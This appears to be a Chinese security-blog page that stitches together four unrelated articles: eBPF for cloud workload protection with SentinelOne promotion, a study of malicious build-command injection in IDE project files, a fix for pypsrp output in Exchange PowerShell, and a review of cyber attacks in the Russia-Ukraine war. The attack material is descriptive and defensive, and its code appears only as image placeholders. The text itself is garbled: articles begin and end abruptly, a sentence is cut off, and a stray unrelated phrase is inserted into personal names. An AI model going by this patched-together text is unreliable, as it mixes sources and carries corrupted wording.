我們會在本文詳細介紹eBPF的工作原理,以及它對於雲工作負載保護平台(CWPP)的重要性。

eBPF架構概述eBPF程序允許我們觀察和響應內核中的應用程序負載行為,而無需修改應用程序代碼本身。這對於許多應用程序都很有用,尤其是雲工作負載保護等安全應用程序。

為了講解方便,我們對ebpf.io中的原始圖進行了修改。

1.jpg

架構簡述

以一個在用戶空間中運行的應用程序——CWPP代理為例,它包括一個用於Linux內核中進程級可見性的eBPF程序。 eBPF程序本身是字節碼,儘管開發人員通常使用更高級別的編程語言,其編譯器支持eBPF字節碼。該eBPF程序被加載到Linux內核中,該程序立即由eBPF驗證引擎進行驗證。然後,程序被編譯並附加到設計目標內核事件,這就是所謂的eBPF程序是“事件驅動的”的真實意思。無論何時發生此事件,程序都會附加到此事件,運行其觀察和分析任務直至完成,並將結果返回給應用程序。

在eBPF程序和用戶空間應用程序/工作負載之間傳遞信息的機制被稱為“eBPFmap”或簡稱為“map”。

eBPF安全eBPF驗證引擎和即時編譯器是eBPF框架首先確保在內核中加載和運行的eBPF程序不會破壞內核穩定的方法。這便是第一條規則:無攻擊性。

考慮eBPF的替代方案:編寫內核模塊。內核模塊引起了對操作穩定性和復雜性的關注。雖然編寫內核模塊確實允許開發人員更改內核行為,但這是一項高度專業化的技能,因此人員配備和保留便成為一個問題。更明確地說,使用內核模塊會引發兩個關鍵風險問題:1.內核模塊會使設備崩潰嗎? 2、它是否會引入安全漏洞?

除了穩定性和安全性之外,還有操作時的功耗問題:內核模塊只適用於特定的Linux內核版本和發行版。維護內核模塊會消耗寶貴的開發週期,不必要使操作管理複雜化。 eBPF框架解決了這些痛點,

在將任何eBPF程序加載到內核之前,它都要經過驗證引擎和JIT編譯器。驗證程序確保程序運行安全,不會使系統崩潰,也不會破壞數據。它驗證滿足以下幾個條件:

加載eBPF程序的進程具有執行此操作所需的權限;

eBPF程序不會使系統崩潰;

eBPF程序運行至完成,也就是說,它不會無限循環。

一旦經過驗證,JIT編譯器就會將程序從字節碼轉換為設備指令,從而優化執行速度。

現在eBPF程序已經驗證和編譯,它被附加到內核級事件,這樣當事件發生時,程序就會被觸發,直至運行完成,並將信息呈現給用戶空間應用程序。這就引出了eBPFmap,或者簡單的“map”。

eBPFmapeBPFmap是在eBPF程序和用戶空間應用程序之間傳遞信息的機制。支持雙向信息流。 map是eBPF程序和用戶空間應用程序可以讀取或寫入的數據結構。

例如,程序可能會在文件的gzip等事件上被觸發。 eBPF程序將向map中寫入有關該事件的一些信息,例如文件名、文件大小和gzip時間戳。它還可以增加給定時間段內gzip操作發生的次數。如果該數字超過某個閾值,eBPF程序可以將“惡意”判斷寫入數據結構。簡單地說,eBPF程序觀察到表明勒索軟件攻擊的行為,並將此行為標記為惡意行為。用戶空間程序(在我們的示例中是雲工作負載保護(CWPP)代理)可以讀取該map,查看惡意判斷,並採取適當的操作。基本信息處理髮生在eBPF程序中,最大限度地減少了傳遞給用戶空間應用程序的信息量,從而優化了性能。

CWPP中eBPF的優勢雲工作負載保護平台代理執行其他安全控制所沒有的操作,實時檢測並響應運行時威脅,如勒索軟件或零日威脅。這使得CWPP成為雲防禦深度戰略的重要組成部分。一個組織可以而且經常應該有其他雲安全措施,如AppSec、CSPM等。每一項都在穩健的雲安全策略中發揮作用。 CWPP代理與這些其他控件一起工作,以提供運行時保護和記錄工作負載追踪分析。

2.jpg

SentinelOne控制台中顯示的Linux勒索軟件攻擊

如下圖所示,對雲計算實例(VM)的勒索軟件攻擊可以在幾毫秒內鎖定雲工作負載。請注意,在這段1分鐘的視頻中,CWPP代理在勒索軟件啟動後幾分鐘(不到一秒鐘)就檢測到並阻止了勒索軟件攻擊。

嘗試從側面掃描解決方案獲取實時響應是無法實現的。側面掃描通常每天只運行一次,因為對雲計算實例的存儲捲進行快照檢查的成本非常高。此外,側面掃描架構在內核中缺乏進程級可見性。這些是SOC需要調查的法醫細節,並將事件適當標記並發送給適當的DevOps所有者。只有使用eBPF框架的行為、實時CWPP代理才能提供實時過程級可見性和穩定性的組合,使其成為首選。

工作負載追踪分析的歷史記錄不僅有助於在發生安全事件時進行調查,還可以進行主動威脅搜索。通過這種方式,攻擊者甚至可以在發動攻擊之前被阻止。

eBPF框架在CWPP計劃中的應用提供了幾個優點,包括但不限於:

運行穩定性;

系統性能;

業務靈活性;

運行穩定性;

雖然內核模塊可以提供CWPP應用程序所需的內核可見性,但在內核中運行代碼可能是危險的。錯誤的操作會破壞系統的穩定(例如內核被攻擊),或在內核中引入安全漏洞。這兩種結果都是不可接受的,特別是在涉及CWPP代理的情況下。使用內核模塊的CWPP代理可能會導致內核被攻擊,從而導致VM崩潰並阻礙你的工作負載。這些威脅會直接影響到財務績效、訂單履行、客戶忠誠度。

與內核模塊形成鮮明對比的是,eBPF框架包括諸如驗證引擎、JIT編譯器等安全控件。因此,eBPF程序不會使內核崩潰,它們也不能進入內核中的任意內存空間,這使得它們更不容易出現安全漏洞。 eBPF程序提供了所有內核級的可見性,並且沒有來自內核模塊的任何風險。基於這些原因,從運行穩定性的角度來看,eBPF是CWPP的首選。

系統性能/資源效率將信息從內核內部傳輸到用戶空間的速度緩慢,並且會帶來CPU、內存性能損耗。相反,eBPF框架使我們能夠觀察內核行為,並在將結果的子集傳輸回用戶空間之前在內核內執行分析。這為在用戶空間中運行並使用eBPF程序的CWPP代理創造了基本的性能優勢。 eBPF與具有內核模塊的CWPP代理相比,用最低的消耗提供了較高的可觀測性。

業務敏捷性開發人員應該專注於創新,而不是解決內核模塊引入的內核依賴問題。通過從用戶空間進行操作,DevOps可以更靈活地更新主機操作系統映像,而不必擔心更新與CWPP代理髮生衝突。 eBPF使這成為可能。因此,更多的DevOps可以用於創新,而不必花精力去維護。

此外,由於CWPP代理本身使用eBPF框架並避免內核模塊,因此供應商也更加註重創新。當然,客戶也從業務敏捷性中獲益。

以SentinelOne的產品為例,說說CWPP的一些出色性能

高性能獨立測試結果證明了這一點。 2021年4月,MITRE Engenuity發布了Carbanak和FIN7的MITRE ATTCK基準測試結果,這是一項專注於模擬金融威脅群體的評估。 MITRE ATTCK首次在其測試中包含Linux服務器。 SentinelOne是唯一一個在Windows設備和Linux服務器之間具有100%可見性的供應商。我們擁有最豐富的檢測(MITRE的術語是“分析檢測”),如下圖所示。

4.jpg

Visibility, MITRE Engenuity, Carbanak + FIN7

5.jpg

Analytic Detections, MITRE Engenuity, Carbanak+FIN7

如果CWPP要保護雲工作負載免受運行時攻擊並確保業務連續性,那麼它必須是實時的如果是延遲檢測,哪怕是幾秒鐘的時間,攻擊者都可以使雲工作負載停止。如果不是勒索軟件,那就是惡意軟件在你的雲足跡中悄悄傳播。從廣義上講,傳播範圍越廣,補救力度就越大。損失也就越大。正如MITRE定義的那樣,SentinelOne提供了100%的實時檢測,零延遲。這就意味著,延遲越少越好。

6.jpg

Delayed Detections, MITRE, Carbanak + FIN 7

同樣,2022年MITRE Engenuity ATTCK測試顯示SentinelOne具有極高的性能。 Wizard Spider+Sandworm模擬還包括Linux服務器。此時,SentinelOne再次以99%的分析覆蓋率領先於CrowdStrike、Microsoft或TrendMicro。可以在MITRE Engenuity網站上進行直接比較。

7.jpg

2022年MITRE信息圖

資源效率任何應用程序,無論是CWPP代理還是其他應用程序,都需要計算和內存資源才能運行,這些資源都是有成本的。對於在固定和沈沒成本基礎設施(如數據中心)內的部署,此類應用程序會佔用原本可用於主要業務工作負載的資源,雖然這不是一項增加的運營費用,但存在資源的機會成本。然而,對於雲IaaS,所使用的資源是按需計量和付費的。部署CWPP代理可能必然會增加雲計算實例的大小(例如,從t4g.medium到t4g.large),從而逐漸增加其運營費用。當然,這是一項必要的支出,但也是一項增量支出。

因此,SentinelOne的產品更關注CPU和內存利用率,就像關注性能一樣。 2022年7月,SentinelOne宣布支持AWS Graviton3,這是最新一代AWS ARM處理器,在計算、功率等方面提供了進一步的優勢。

最近,趨勢科技的研究人員分析了幾種可被濫用來攻擊供應鏈的攻擊載體的概念證明,其中一種便是針對開發者的供應鏈攻擊,該證明重點關注了本地集成開發環境(IDE),考慮當項目或生成被錯誤地“信任”時,通過注入命令執行惡意生成腳本的情況。

在本文中,我們將關注供應鏈的一個特定部分——開發者本身。要找到針對開發者的合適攻擊模型,我們必須首先了解誰是開發者、他們的工作流程和日常工具。我們還將重點放在開發者和他們各自的工具如何被濫用來破壞供應鏈。

誰是“開發者”?按照字面理解,將開發者定義為開發計算機軟件的人。在安全研究人員的理解中,則是寫代碼的人。這包括流行的編程或腳本語言,如Java、JavaScript、TypeScript、Go、Python、C/c++和許多其他語言,包括基礎設施或容器部署定義,如Dockerfile、Kubernetes、Terraform HCL等。僅從這個描述來看,該定義就涵蓋了IT行業的各個部分,包括編寫代碼的每個人、安全研究人員等等。

儘管工作流本身可能因開發者和公司的不同而有所不同,但根據開發者如何使用集成開發者環境(IDE),它很可能屬於以下類別之一:

1.本地IDE:開發者在自己的設備上本地安裝了IDE。在這種情況下,開發者有兩個選擇:

1.1將代碼拉入或推送到遠程存儲庫,並在本地執行生成和調試;

1.2將更改提交到遠程存儲庫,觸發持續集成/持續交付(CI/CD)事件,並導致質量保證(QA)評估,甚至部署到生產環境中。

2.雲IDE:開發者使用雲服務託管的IDE,如AWS Cloud9、Visual Studio Online、GitHub代碼空間和許多其他當今可用的平台。在這種情況下,開發者設備就像網關一樣工作,通常通過瀏覽器訪問IDE,主要的代碼執行是在雲服務提供者內部的雲IDE的遠程主機中執行的。

由於開發者涵蓋多個職業,一些工作流可能會從列表中排除一些項目。例如,本文的概念證明很可能不會建立一個完整的CI/CD管道。然而,大多數工作流將包括使用IDE進行開發。在這篇文章中,我們將重點放在本地IDE上。

本地IDE的示例當使用本地IDE時,其中一個示例是開發者將代碼拉到本地計算機上。該代碼被進一步編譯為二進制格式,以便執行。對以前的貢獻者編寫的代碼有一種隱含的信任,因為大多數開發者認為代碼庫可能不會被污染,因為它可以按預期工作。這種信任不僅存在於源代碼本身中,還存在於生成腳本、庫、依賴項和其他項目文件中。這就引出了第一個攻擊場景:將惡意操作注入到項目文件或生成腳本中。

作為開發者,在執行遠程代碼之前,是否有必要在拉入遠程代碼之後閱讀生成腳本?

研究人員通過向生成腳本或項目文件注入惡意生成命令(如果適用的話)來測試各種流行的IDE和編程語言。以下是測試的IDE版本的結果:

Eclipse2022-09ApacheNetBeans16PyCharm2022.2.4IntelliJIDEA2022.03VisualStudio2022VisualStudioCode1.73.1當我們考慮通用攻擊模型時,還必須包括每個非受控輸入。這包括源代碼及其文件,並包括生成前和生成後腳本和IDE擴展(如果適用的話)。我們之前在2020年的一篇文章中寫過可能存在惡意IDE擴展的危險。

1.png

IDE攻擊模型

我們為每個IDE定義了以下場景,以驗證可能的攻擊模型:

開發者在線從不受信任的存儲庫中拉入代碼;

開發者在IDE中打開一個項目;

開發者試圖編譯或生成項目;

使用Visual Studio代碼從Visual Studio Code 1.57版(2021年5月發布)開始,代碼編輯器引入了Workspace Trust的概念。此功能通過防止代碼從不受信任的文件和存儲庫執行,幫助開發者安全地瀏覽和編輯代碼,而不考慮源代碼或作者。這可能是由於當時第三方擴展漏洞的數量不斷增加,當被濫用時,在打開不受信任的文件時,可能會允許遠程代碼執行(RCE)。這個概念很簡單:除非工作區是可信的,否則它不允許任何(生成/調試)任務或某些擴展功能運行。這就可以將責任轉移到開發者身上,並提示他們是否要信任下載的代碼。

這裡要強調的是,不要盲目地信任每一個工作區。

2.png

Visual Studio代碼工作區信任對話框

開發者應該尋找和考慮哪些代碼不應該被信任的可疑跡象?在其他示例中,應該引起開發者警惕的跡象包括:

較低的下載量;

論壇上共享的項目;

灰色區域;

一般未經證實的來源;

未知的人;

在執行IDE任務之前,應通過審計項目目錄中的文件以查找可疑或惡意命令來驗證.vscode/tasks.json文件,尤其是從未知源下載時。

3.png

惡意生成任務的示例

惡意命令可以隱藏在tasks.json文件下並偽裝成生成命令。當開發者試圖生成之前盲目信任的項目時,開發者設備將執行遠程代碼,這可能是惡意的。攻擊者還可以通過在常規生成命令之間隱藏惡意命令,使有效負載更為隱蔽,這將減少開發者的懷疑。

在模擬中,我們通過Pastebin在遠程服務器上放置了一個腳本。這是一種被一些攻擊者濫用的方法,將其惡意有效載荷發送到受感染的設備中。這項技術對攻擊者的好處是可以遠程更改有效載荷。例如,在成功感染後,可以將有效負載更改為無害的內容。

使用Visual StudioVisual Studio是Microsoft用於.NET和C++開發的專有IDE,它沒有工作區信任功能。因此,開發者在加載不受信任的項目文件和執行生成時應該格外小心。惡意的生成前或生成後任務可能會被注入到文件中,從而導致從生成開始就執行不必要的執行。

4.png

Visual Studio項目文件預生成任務命令示例

5.png

嵌入預生成PowerShell執行的概念驗證示例

使用其他IDE在Eclipse IDE中,仍然可以注入生成命令。因此,文件是不同的。首先,ExternalToolBuilder的生成命令必須在.project文件中指定,參考在. externaltoolbuilders文件夾中定義實際執行命令的另一個文件。通過將多個生成命令鏈接在一起,我們可以實現與Visual Studio Code中相同的多個命令執行。

6.png

.project文件節鏈接生成執行規範的示例

7.png

生成事件外部命令規範

由於使用外部生成工具的項目文件注入適用於基本IDE的範圍,因此它僅適用於實際代碼編譯為二進製文件的語言。這包括Java和C/c++,但不包括像PHP這樣的語言,因為不執行生成。

NetBeans IDE主要用於Java開發,儘管它還通過第三方擴展支持PHP、HTML5、JavaScript或C/C++開發。 Java開發項目可以利用Maven、Gradle或Ant作為其依賴關係管理和生成自動化工具。因此,項目和生成定義可能不同。然而,所有這些工具都支持將第三方流程作為生成前或生成後操作來執行。在這種情況下,攻擊者可以注入惡意代碼,並希望開發者不會注意到並不情願地執行。

對於Ant,注入可以在nbproject/build-impl.xml文件中完成,方法是將以下代碼片段添加到一個合適的目標標記中:

8.png

Ant的注入點和触發生成時的命令執行示例

當開發者使用Maven作為生成工具時,可以通過更改項目文件夾中的pom.xml來實現相同的目標。這一次,在生成標記中使用了org.codehaus.mojo插件。所使用的語法類似於Ant所使用的語法。

9.png

Maven第三方執行示例

對於Gradle,Groovy語言腳本用於位於app/build.gradle內部的生成定義,並且對所選任務內的字符串調用execute()函數將觸發代碼執行。

10.png

Gradle第三方執行示例

儘管“打開項目”對話框有一個“信任項目生成腳本”選項,但其功能僅對Gradle項目有效。如果未選中,它將阻止Gradle腳本啟動,因此,當加載項目作為CVE-2020-11986修復時,代碼執行是可能的。儘管如此,當用戶決定手動執行生成時,不會顯示進一步的對話框,並且生成被認為是可信的。

11.png

NetBeans中的“信任項目生成腳本”複選框

IntelliJ IDEA是另一個用於Java、Kotlin、Groovy和其他基於Java虛擬機(JVM)的語言開發的IDE。它還支持Ant生成腳本。加載包含Ant生成腳本的項目會觸發一個對話框警告,提示它可能會執行潛在的惡意代碼,如果它不是來自可信的源,建議使用安全模式。當開發者試圖在安全模式下執行生成時,IDE會警告用戶該操作只能在可信模式下完成。

12.png

IntelliJ IDEA顯示潛在惡意生成腳本的警告

13.png

IntelliJ IDEA生成安全模式生成警告

PyCharm是用於Python開發的IDE。 Python腳本通常不會在執行之前編譯。然而,開發者仍然可以指定自定義運行/調試配置,允許在實際腳本執行之前執行第三方二進製文件。這可能用於腳本數據輸入準備。

14.png

運行執行前的外部工具

該操作在項目內部被參考。但是,實際的可執行規範存儲在不同的位置,更具體地說,存儲在~/.config/JetBrains/PyCharmXXXX/tools/External Tools.xml。正如我們所看到的,該文件存儲在用戶主目錄中,保護它不受攻擊模型場景的影響,因為它需要修改本地文件系統。

15.png

運行前任務參考

16.png

運行前任務定義

總結研究人員使用執行惡意生成腳本的攻擊場景評估了所有已識別的IDE,向這些生成腳本中註入惡意命令是可能的。如上所述,一些IDE明確警告開發者惡意操作的可能性,除非項目配置將其標記為明確可信,否則不允許執行任務。另一方面,一些IDE使用這樣的假設,即當開發者打開一個項目或將其複製到他的工作區時,它會自動被信任,並且不需要任何進一步的操作。

無論我們使用什麼IDE,總會權衡安全性和可用性。開發者不應該盲目地相信互聯網上的每一個開源項目。在執行任何生成操作之前,開發者至少應該知道他們有可能成為目標並審查生成腳本。

我們還想強調,上述攻擊場景不僅限於本地IDE,而且安全重要性在於所使用的工作流和工作區信任本身,無論開發者在容器或支持在線IDE的VM中執行實際生成/編譯的情況如何。一旦工作區被標記為可信,並且生成腳本被修改,它可能會在環境中觸發不需要的代碼執行,並導致IDE具有訪問權限。以下是開發者可以記住的一些最佳安全實踐:

使用安全配置的CI/CD平台,在具有適當的基於角色的訪問控制(RBAC)的外部設備或服務上執行生成,只有授權人員才能更改生成腳本;

在集成到項目之前,檢查外部源代碼和生成腳本;

避免在審計之前盲目使用開箱即用的解決方案,特別是當這些解決方案在社區中沒有廣泛使用或來自未經核實的來源時;

定期跟踪變更並進行審查。

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

1.png

2022年2月24日之前的重大網絡事件時間表

在現代世界,發動任何類型的軍事行動之前都必將出現大規模的網絡攻擊活動,這反過來可以通過監測潛在衝突地區新出現的網絡攻擊來預測衝突發展情況。例如,在2013年末和2014年1月,研究人員觀察到Turla APT組織在烏克蘭的活動高於正常水平,並且BlackEnergy APT攻擊事件數量激增。同樣,在2022年2月初,研究人員注意到與Gamaredon CC服務器相關的活動量大幅飆升。這一活動達到了迄今為止從未見過的水平,這意味著為大規模的SIGINT(信號情報,通過攔截信號收集)收集工作正在進行。

2.png

如這些案例所示,在現代軍事衝突之前的幾天和幾週內,網絡戰中會出現與情報收集和破壞性攻擊有關的顯著跡象和峰值。當然,我們應該注意到,相反的情況也是可能的:例如,從2016年6月開始,但最值得注意的是,自2016年9月一直到2016年12月,Turla組織將其基於衛星的CC註冊量提高了2015年平均值的十倍。這表明Turla組織異常活躍,這表明該組織前所未有地調動了資源。與此同時,據我們所知,沒有發生隨後的軍事衝突。

如今的軍事行動是在實地收集支持情報之後進行的;這包括SIGINT和ELINT等。重大軍事行動(如2003年入侵伊拉克)還輔以旨在使敵人通信網絡癱瘓的強大網絡攻擊,在2022年2月,研究人員注意到與Gamaredon CC服務器相關的活動大幅增加,2013年底和2014年初,Turla和BlackEnergy的APT活動也出現了類似的激增。在軍事衝突發生前的幾天或幾週內,網絡戰會出現明顯的跡象和高峰。

在俄烏衝突衝突的第一天(2022年2月24日),烏克蘭實體遭受了大規模的無差別雨刷攻擊。這些攻擊的主要目標可能是造成混亂和混亂,而不是實現精確的戰術目標。相反,這一階段所使用的工具在本質上也是多種多樣的:

Ransomware (IsaacRansom);

冒牌勒索軟件(WhisperGate);

雨刷(hermetwiper, CaddyWiper, DoubleZero, IsaacWiper);

ICS/OT雨刷(AcidRain, industrroyer2)。

其中一些特別複雜。據我們所知,HermeticWiper仍然是野外發現的最先進的雨刷軟件。 industrroyer2是在一家烏克蘭能源供應商的網絡中發現的,如果攻擊者無法訪問與受害者使用的相同ICS設備,則不太可能開發它。也就是說,從軟件工程的角度來看,這些工具中的許多都非常粗糙,似乎是匆忙開發出來的。

除了AcidRain(見下文)之外,我們認為這些不同的破壞性攻擊都是隨機的和不協調的——而且我們認為,在戰爭的宏偉計劃中影響有限。

Viasat事件2月24日俄烏衝突爆發時,覆蓋烏克蘭地區的美國衛星運營商Viasat遭遇網絡攻擊,導致數千烏克蘭用戶、數万名歐洲其他地區用戶斷網。經調查,攻擊者利用錯誤配置的VPN設備入侵衛星網管理後台,向數万用戶側Modem下發破壞性指令,從而造成斷網。 KA-SAT衛星網絡曾經被“烏克蘭軍方所頻繁使用”。在被攻擊期間,中歐及東歐地區的KA-SAT衛星服務均發生中斷。這次通信服務中斷也影響到了德國,導致負責控制約5800颱風力渦輪機的調製解調器無法正常聯網。此外,來自法國、意大利、匈牙利、希臘和波蘭的客戶也受到不同程序影響。 5月10日,歐盟將這些惡意活動歸咎於俄羅斯聯邦。這是迄今為止與烏克蘭衝突有關的最複雜的攻擊之一。雖然破壞活動可能沒有嚴重破壞烏克蘭的防禦,但它在戰場之外產生了多重影響。刺激美國參議院要求在衛星網絡安全問題上採取行動,加速SpaceX Starlink的部署。

ViaSat的攻擊活動再次表明,網絡攻擊是現代武裝衝突的基本組成部分,可能直接支持軍事行動。在武裝衝突期間,針對共同通信基礎設施的網絡攻擊極有可能發生,因為交戰方可能認為這些攻擊具有雙重用途。由於互聯網的相互關聯性,針對此類基礎設施的網絡攻擊可能會對未捲入武裝衝突的各方產生副作用。網絡攻擊引發了人們對商業衛星系統網絡安全的擔憂,這些系統可能支持從自拍地理定位到軍事通信等各種應用。雖然軍事力量經常討論針對太空動能戰鬥的保護措施,而且更多的數據中心有望很快升空,但地面站管理系統和運營商似乎仍然高度暴露在常見的網絡威脅之下。

專業勒索軟件組織、黑客活動和DDoS攻擊一如既往,戰爭對信息格局有著非常具體的影響。在2022年尤其如此,因為人類已經掌握了有史以來最強大的信息傳播工具:社交網絡及其充分證明的放大效應。大多數真實世界中與戰爭有關的事件(小規模衝突、死亡人數、戰俘證詞)都在網上被放大。傳統新聞媒體也受到更廣泛的信息戰背景的影響。

DDoS攻擊和在較小程度上破壞隨機網站一直被安全社區視為低複雜性和低影響的攻擊。特別是DDoS攻擊,需要產生大量的網絡流量,攻擊者通常無法維持很長一段時間。一旦攻擊停止,目標網站就會恢復可用。除了電子商務網站暫時的收入損失,DDoS攻擊或破壞提供的唯一價值是受害者的羞辱。由於非專業記者可能不知道各種類型的安全事件之間的區別,他們隨後的報導造成了一種無能和安全不足的印象,可能會削弱用戶的信心。網絡攻擊的不對稱性質在支持大衛與歌利亞的形象方面發揮了關鍵作用,在網絡領域的象徵性勝利有助於說服地面部隊,在現實戰場上也可以取得類似的成就。

根據卡巴斯基DDoS防護公司的數據,自2022年初以來的11個月裡,該服務註冊的攻擊次數比2021年全年多了1.65次。雖然這種增長可能不是很顯著,但與2021年相比,這些資源受到攻擊的時間更長。在2021年,平均攻擊持續約28分鐘,在2022年- 18.5小時,幾乎是原來的40倍。最長的一次攻擊在2021年持續了2天,2022年持續了28天(或2486505秒)。

3.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊總持續時間(秒),按週計算

自戰爭開始以來,一些有明顯政治傾向的黑客組織已經出現,並開始開展一些活動。例如,臭名昭著的匿名組織組織了一場活動,將數十輛出租車同時叫到同一個地點,造成了莫斯科的交通堵塞。

卡巴斯基DDoS防護也反映了這一趨勢。大規模DDoS攻擊在一年中分佈不均,春季和初夏是最激烈的時期。

4.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊數,按週計算

攻擊者在2月至3月初達到高峰,這反映了黑客活動的增長,到了秋天,黑客活動已經停止。目前,我們看到了一個經常性的預期攻擊動態,儘管它們的質量發生了變化。 5月至6月,我們發現了極長時間的攻擊。然而,現在它們的長度已經穩定下來,而典型的攻擊過去只持續幾分鐘,現在則持續數小時。

2022年2月25日,臭名昭著的Conti勒索軟件組織宣布他們“全力支持俄羅斯政府”。聲明中有一句話:“如果有人決定對俄羅斯發動網絡攻擊或任何戰爭活動,我們將動用一切可能的資源,對敵人的關鍵基礎設施進行反擊。”該組織隨後很快發布了另一條帖子,澄清了他們在衝突中的立場:“作為對西方戰爭販子和美國對俄羅斯聯邦公民使用網絡戰的威脅的回應,Conti團隊正式宣布,如果西方戰爭販子試圖以俄羅斯或世界上任何俄語地區的關鍵基礎設施為目標,我們將動用我們的全部能力採取報復措施。我們不與任何政府結盟,我們譴責正在進行的戰爭。然而,由於西方主要以平民為目標發動戰爭,如果美國的網絡攻擊將危及和平公民的福祉和安全,我們將利用我們的資源進行反擊。”

兩天后,一名烏克蘭安全研究人員洩露了Conti組織成員之間的大量內部私人信息,涵蓋了從2021年1月開始的一年多的活動。這對該組織造成了重大打擊,他們看到自己的內部活動暴露在公眾面前,包括與數百萬美元贖金有關的比特幣錢包地址。與此同時,另一個名為“comomingproject”的網絡犯罪組織專門從事數據洩露,宣佈如果他們看到針對俄羅斯的攻擊,他們將支持俄羅斯政府:

5.png

其他組織,如Lockbit,更傾向於保持中立,聲稱他們是一個國際社會,包括俄羅斯人和烏克蘭人,而且“一切都是生意”:

6.png

2月26日,烏克蘭副總理兼數字轉型部長米哈伊洛马云惹不起马云費多羅夫(Mykhailo Fedorov)宣布創建一個Telegram頻道,以“繼續在網絡戰線上戰鬥”。最初的Telegram頻道名稱(itarmyourraine)有一個拼寫錯誤,因此創建了第二個。

7.png

烏克蘭的Telegram頻道

信道運營商不斷地給用戶分配任務,例如DDoS攻擊各種商業公司、銀行或政府網站:

8.png

烏克蘭IT部門發布的DDoS目標列表

據報導,在很短的時間內,由志願者組成的“烏克蘭IT軍”(通過Twitter和Telegram進行協調)對800多個網站進行了破壞或DDOS攻擊,包括莫斯科證券交易所等知名機構。

其他組織也觀察到了類似的活動,隨著衝突蔓延到鄰國,它們已經站隊。例如,白俄羅斯網絡游擊隊聲稱,他們將白俄羅斯鐵路改為手動控制,從而擾亂了鐵路的運營。目標是減緩俄羅斯軍隊在該國的行動。

9.png

白俄羅斯網絡游擊隊的帖子

一些表達了他們對烏克蘭衝突看法的勒索軟件或黑客組織的有限且迄今為止並不詳盡的列表包括:

10.png

在公開支持俄羅斯的組織中,最初作為對“烏克蘭IT軍”的回應而成立的Killnet可能是最活躍的。 4月下旬,他們攻擊了羅馬尼亞政府網站,以回應羅馬尼亞眾議院議長馬塞爾马云惹不起马云西奧拉庫(Marcel Ciolacu)在向烏克蘭當局承諾“最大限度的援助”後發表的聲明。 5月15日,Killnet在其telegram頻道上發布了一段視頻,向十個國家宣戰:美國、英國、德國、意大利、拉脫維亞、羅馬尼亞、立陶宛、愛沙尼亞、波蘭和烏克蘭。在這些活動之後,被稱為“匿名者”的國際黑客團體於5月23日宣布對Killnet發動網絡戰。

Killnet在2022年繼續其活動,此前他們在Telegram頻道上發布了一則聲明。 10月,該組織開始攻擊日本的某些組織,後來由於缺乏資金,他們停止了攻擊。後來,它攻擊了一個美國機場、政府網站和企業,但往往沒有取得重大成功。 11月23日,Killnet短暫關閉了歐盟的網站。 Killnet還多次針對拉脫維亞、立陶宛、挪威、意大利和愛沙尼亞的網站。雖然Killnet的方法並不復雜,但它們不斷成為頭條新聞,並引起人們對該組織活動和立場的關注。

俄烏衝突為各方新的網絡軟件活動創造了溫床,其中包括網絡犯罪分子和黑客,他們爭相支持自己最喜歡的一方;

我們可以預見,從現在起,黑客組織將捲入所有重大的地緣政治衝突;

網絡軟件活動正在蔓延到鄰國,並影響到大量機構,包括政府機構和私營公司;

烏克蘭IT軍(IT Army of Ukraine)等組織得到了政府的正式支持,他們的Telegram頻道擁有數十萬訂閱者;

大多數時候,這些組織實施的攻擊對沖突的影響非常有限。

黑客攻擊和隱私洩漏在試圖劫持媒體注意力的更為複雜的攻擊方面,自衝突開始以來,黑客和洩密活動一直在增加。這個過程很簡單,攻擊一個組織,並在網上發布其內部數據。從理論上講,這些數據洩露是可以操縱的。攻擊者有足夠的時間編輯任何已發布的文件,或者乾脆注入完全偽造的文件。需要注意的是,攻擊者完全沒有必要為了數據洩漏造成破壞而花費如此長的時間。這些數據的公開本身就證明發生了嚴重的安全事件,而合法的原始內容可能已經包含了犯罪信息。

在我們對2023年APT的預測中,我們預測黑客和洩密行動明年將會增加;

信息戰不僅針對各參與方,而是針對所有組織的。我們預計,絕大多數此類攻擊不會針對交戰雙方,而是針對那些被認為過於支持(或不夠支持)任何一方的組織;

無論是黑客攻擊還是DDoS攻擊,網絡攻擊都是國家之間發出攻擊信號的一種手段;

